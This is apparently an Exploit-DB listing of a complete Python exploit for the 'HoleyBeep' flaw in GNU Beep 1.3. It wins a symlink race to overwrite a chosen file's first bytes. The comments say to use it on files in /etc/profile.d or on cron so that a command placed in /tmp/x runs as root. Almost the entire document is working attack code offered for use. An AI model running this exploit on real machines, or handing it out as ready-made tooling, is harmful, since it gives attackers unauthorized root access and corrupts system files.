GNU Beep 1.3 - 'HoleyBeep' Local Privilege Escalation

#!/usr/bin/env python3
#
# E-DB Note ~ https://gist.github.com/Arignir/0b9d45c56551af39969368396e27abe8/ec853f14afd6e86fb3f2efce2086e28f33039ddc
# E-DB Note ~ https://sigint.sh/#/holeybeep
#
# This is an exploit for HoleyBeep.
#
# To use it, place any command you want root to execute in `/tmp/x`.
#    ```
#    $ cat /tmp/x
#    echo PWNED $(whoami)
#    ```
# The exploit takes a path to write to (the file must already exist) and rewrites its first bytes to /*/x. This means that if it's a shell script, it will execute /tmp/x as its first and only command.
#
# To gain root access, the idea is to use the exploit to overwrite any file in /etc/profile.d/ so it will execute /*/x on the next login, possibly as the root user.
#
# Variants are possible using cron instead of the shell, so you don't have to wait until root logs in.
#

import argparse
import shutil
import os
import subprocess
import time
import signal
import ntpath

TMP_PATH="beep_exploit"

def backup_output(path):
    backup_path = ntpath.basename(path + ".bak")
    if os.path.isfile(path):
        shutil.copy(path, backup_path)
        print('Backup made at \'{}\''.format(backup_path))

def main():
    parser = argparse.ArgumentParser(description='Holey beep exploit script.')
    parser.add_argument('output', metavar='OUTPUT', help='the output file to corrupt')
    parser.add_argument('--path', default="/usr/bin/beep", help='path to beep')
    parser.add_argument('--time-low', default=6000, type=int, help='time to wait (micro-seconds), lower bound')
    parser.add_argument('--time-high', default=6900, type=int, help='time to wait (micro-seconds), higher bound')
    parser.add_argument('--no-backup', action='store_true', help='doesn\'t backup the output file')
    args = parser.parse_args()

    if not args.no_backup:
        backup_output(args.output)

    devnull = open("/dev/null")

    timer = args.time_low
    while True:
        # Create original symlink
        try:
            os.remove(TMP_PATH)
        except OSError:
            pass
        os.symlink("/dev/input/event0", TMP_PATH)

        # Open subprocess
        p = subprocess.Popen([args.path,  "--device", TMP_PATH, "-l", "1", "-n", "-l", "2016356911"], stderr=devnull)
        time.sleep(timer/2 / 1000000.0)

        # Replace symlink
        try:
            os.remove(TMP_PATH)
        except OSError:
            pass
        os.symlink(args.output, TMP_PATH)
        time.sleep(timer/2 / 1000000.0)

        # Trigger SIGINT
        os.kill(p.pid, signal.SIGINT)

        # Kill process if it's sill alive
        time.sleep(200.0 / 1000000.0)
        os.kill(p.pid, signal.SIGKILL)

        # Verify result
        with open(args.output, 'rb') as f:
            data = f.read(4)
            if data == b'/*/x':
                print("Done!")
                break

        timer += 1
        if timer > args.time_high:
            timer = args.time_low

if __name__ == '__main__':
    main()